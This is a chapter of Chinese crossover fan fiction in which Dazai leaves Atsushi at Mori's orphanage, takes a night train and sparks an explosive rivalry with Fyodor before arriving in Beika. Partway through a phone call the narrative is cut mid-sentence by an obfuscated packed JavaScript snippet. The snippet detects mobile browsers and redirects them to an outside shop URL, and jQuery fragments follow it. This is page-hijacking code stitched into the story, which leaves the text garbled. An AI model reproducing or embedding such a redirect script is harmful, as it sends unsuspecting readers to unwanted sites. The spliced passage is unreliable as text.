75.柯学世界(75)

作品:《论首领宰与柯学世界的适配性

    中岛敦睁开眼睛,天已经彻底黑了,孤儿院的窗帘与阴影融为一体,几颗稀疏的星辰挂在天际,聊胜于无。


    为了节省电费屋里只点着一盏灯,太宰治就着这点光线翻看手里绛红色的书籍。


    孤儿院的病房质量不好,一米五以上的人压根躺不直,中岛敦半截小腿都露在外边,身体一动病床仿佛下一秒就会散架般发出吱呀吱呀的求饶。


    刚睡醒,中岛敦头脑还不清醒,呆呆看着太宰治的身影发呆,良久,屋里响起他虚弱的声音,“太宰先生,我死掉了吗?”


    太宰治动作一顿,抬头看他,问:“你为什么会这么觉得?”


    “因为我见到您了。”白发少年表情出奇的平静,说出来的话却完全没有逻辑,“天堂装修原来和孤儿院医务室一模一样吗?”


    “那是因为你就在孤儿院医务室。”太宰治合上书,“遗憾的通知你敦君,天堂和地狱暂时都没有招揽你的想法。”


    “至于我,我从地狱里爬出来了。”


    “像我这种人死后肯定会下地狱。”太宰治表情玩味,眼神轻蔑。


    中岛敦压根就没多余的脑子思考这件事,他只是茫然的问:“所以您还活着。”


    “虽然难过,但是是的,我还活着。”太宰嘴唇嗫嚅像是骂了一句,“太让人难过了。”


    中岛敦全身心都在太宰治还活着这件事上,压根顾不得其他,“您还活着……”


    太宰治:“我不想再重复一遍了。”


    “那真是太好了!”他完全不顾苏醒后虚弱的身体,摇摇晃晃想从病床上下来。


    少年青涩的气息裹挟糖果的甜,洗衣粉的香填满太宰治因过往伤痛造成的缺口,“谢谢您还活着。”


    谢谢你选择这个世界。


    恍惚间,中岛敦似乎听见太宰治的叹息,浅浅一声,落在心上。


    这话说完空气都安静了,太宰有些不自在的动了动,又立马被抱紧。


    太黏糊了。


    他表情古怪,自从拥有自理能力后太宰治很少与他人有过于亲密接触,四岁之后他就不和母亲一起住了,像这种一抱抱好几分钟他从来没经历过。


    “好了吗?”太宰用手戳他。


    晕过一次中岛敦没有之前激动,心情平复下来,松开太宰治,声音带着浓厚的鼻音,“好了。”


    “好了就行。”


    太宰治温柔的时候可以很温柔,让你察觉不到半点,中岛敦本就情绪不稳,是套话的好时机。


    压根不用聊起那天,太宰治只和他聊些无关痛痒的东西就得到自己想要的情报,与他猜测的一样,中岛敦对他的信任度非常高,可以说完全不设防,问什么答什么。


    直到少年脸上明显露出疲色太宰治才体贴的替他盖上被子,“你刚醒,睡不着也躺着休息一会。”


    中岛敦却问:“您会留在横滨吗?”


    从太宰治口中他知晓自己昏睡了整整三天,中间泉镜花来看过一次。


    太宰治按着门框,一轮巨大的圆月在他背后升起,夜色朦胧,晚风醉人,皎洁的月光洒在地上散发出森冷寒光,白光落在太宰治那双鸢色瞳孔中泛出类似金属的光泽,黑发青年微微一笑,说:“敦君,你该走出来了,还有人在等你。”


    “别困在过去。”


    这是太宰治对他说的最后一句话。


    之后他关上门,把压抑的哭声留在里面。


    *


    太宰治来时没有带来什么,走时仍然两手空空。


    芥川银明天还有课,已经回家了,这个时间点孩子们还在睡觉。大门没关,拉开发出叮铃咣当的碰撞声,一个白色身影静静沐浴在月色中。


    “我以为你会在床上睡觉。”


    “你有点慢。”


    两道声音同时响起。


    太宰治率先解释,“小孩子总是多愁善感的,有点吵闹。”


    森鸥外轻笑,“可能是因为他知道以后可能都不会再见面了。”


    本来中岛敦在他这待上几个月调整心态说不定还真能遵从太宰治的遗言到武装侦探社工作,结果太宰治一来森鸥外几个月白干,他又开始琢磨怎么回港口mafia了。


    “你呢?”


    “什么?”森鸥外装傻。


    “你为什么不睡觉?”特意到门口堵他。


    森鸥外怎么可能告诉他自己的真实目的,他把车钥匙给太宰治:“怕你打不到车,你看我对你多好。”


    “是吗,我还以为你是来和我告别的。”太宰治露出不怀好意的表情,“毕竟以后都见不到了。”


    “怎么可能。”森鸥外哈哈大笑。


    “说的也是。”


    黑.手.党的爱是掺杂着谎言和欺骗之间那一点点真心。


    森鸥外的车是孤儿院采买物资配备的车辆,据他本人所说,太宰治把车开走后会有人把车开回来。车辆外表很普通的小面包车,里面则被顽皮的孩子贴上五颜六色的小动物贴纸,方向盘上用彩铅画着各色小花小草,尽管颜色稍稍有些褪色但还是能看出车辆主人的珍惜,开车时特意避开孩子们的作品。


    森鸥外这个孤儿院院长做得居然还不错。


    太宰观察车内环境,手一伸从副驾驶的储物盒里拿出一件物品——一幅相框。


    检查里面的灰尘相框放在储物盒有一段时间了,相框玻璃上画着几个穿裙子的火柴人,应该是孤儿院的孩子偷拿出来不小心丢到车上的。


    照片里一共四个人,其中两个分别是十四五岁的自己和面容比较年轻的森鸥外,照片里自己表情很臭,不情不愿的和一个赭红发色的陌生少年站在一起,陌生少年旁边是一个穿华丽和服的美艳女人,撑一把纸伞,语笑晏晏的和森鸥外看着他们。


    “……中原中也?”


    太宰治手指停在那个红发少年身上,“难道这些年一直没长高吗?”


    他十四岁的时候就155cm了。


    不过这不重要,太宰治只是思维发散了一下,紧接着又转向那个美艳女人,她是……


    “尾崎红叶?”


    看年龄只能是尾崎红叶了。


    港口mafia男女比例失衡,年轻女性本就比较少,又在森鸥外在位期间,身份就脱口而出了。


    虽然已经没有记忆了,能认认人也不错。


    相框被扔回原位,太宰治踩下油门,两百万日元面包车开出千万日元的速度。


    中岛敦新来的时间有点晚,太宰治紧赶慢赶,总算赶上末班车。


    因为是末班车,车上压根没有几个人,寥寥几人都分布在好几个车厢,太宰享受一把一个人独占一车厢的待遇。


    十、九、八、七……


    还没数到一,他的手机响了。


    按下接听键,太宰治笑意不达眼底,“你好,这里是太宰治。”


    电话那头的人沉默着,两人都没挂电话,听着对方清浅的呼吸声,过了好一会,那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556456|134378||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人温和有礼的声音响起:“太宰君,初次见面,好久不见。”


    “费奥多尔君。”太宰治望向窗外的夜空,他知道对面的俄罗斯人能通过监控看见,“好久不见。”


    他没问费奥多尔声音为什么还是这么年轻,他也没问太宰治如何死而复生,与接下来要商讨的事比起来这些都那么不值一提。


    “太宰君,我记得我们还有一盘棋没下对吧。”


    “你的记性还是一如既往的好。”


    “太好了,你还记得。”好心的俄罗斯人假装听不出太宰治的嘲讽,言辞礼貌带刺,稍不留神就扎你一下。


    “既然是你的话规则我就不多提了,想必你早就准备好了。”


    昏暗的房间,费奥多尔看着电脑屏幕上那张陌生又熟悉的面孔。陌生在于他是创造港口mafia那个庞然大物的先代首领,熟悉在于他也是十多年前和自己博弈而两败俱伤的十六岁棋友。


    只要有足够的资源人脉太宰治的过去有迹可循,他的同类并没有隐藏过去的意思,青森出生,十二岁离家,十三岁来到横滨遇见森鸥外,十五岁加入港口mafia,十八岁篡位,直到二十二岁结束自己的生命。


    很精彩短促的一生,一路顺下来完全没有一点奇怪,虽然森鸥外没死而是强制退休这点有心软嫌疑,但是费奥多尔就是觉得不对劲。


    太宰治不该是这样的人。


    他和费奥多尔都不是贪恋权财之人,权利于他们只是达成目的的工具。


    外面关于他的传言满天飞,费奥多尔只相信自己。


    一切回到起点,把自己放在太宰治的位置上,思考太宰治为什么会做出这样的选择。


    这对他们来说并不困难。


    费奥多尔垂下眼睑,声音不大却带着强烈的自信,“太宰君,书就在你身上。”


    不管是太宰治十六岁突然的改变,还是费奥多尔记忆中消失的约定,全都和书脱不了干系,只有书能做到这件事。


    太宰治没说是也没说不是,只是告诉他:“费奥多尔,想要书的话就过来拿吧!”


    电话那头传来巨响,碎石落下,费奥多尔只来得及带走自己的U盘,桌子上的资料被碎石掩埋,凭借费奥多尔的力量肯定是无法抢救过来的。


    地面上,国木田独步有些心虚,“大晚上的,别人真的不会投诉吗?”


    宫泽贤治扛着十米高的大树笑容天真,“啊?国木田先生你刚刚说什么?”


    “……没事,你继续吧!”


    国木田独步捏着自己的“理想”随时准备道歉,这都是乱步先生的吩咐啊!


    老鼠的洞穴被发现了,已经不能待了,太宰语调微微上扬,费奥多尔敏锐察觉出这点。


    “费奥多尔君,喜欢我的礼物吗?价值两百万美金呢!”


    费奥多尔不但没生气反倒笑意吟吟,“怎么会呢太宰君。”说着他按下按钮,提前埋好的炸弹绽放出滚烫的鲜花。


    车上就剩下太宰治一个人,其他人早在之前就下车了。


    “还活着吗?”


    “活着呢,你呢?”


    “我也是。”


    两个身体不好的家伙齐齐咳嗽两下。


    太宰治从地上爬起,抖落身上的灰尘,重新站直身体。


    他很正式的叫他的名字,“那么费奥多尔,请来找我开启新棋局吧!”


    “目的地,另一个世界。”


    东京米花町,到了。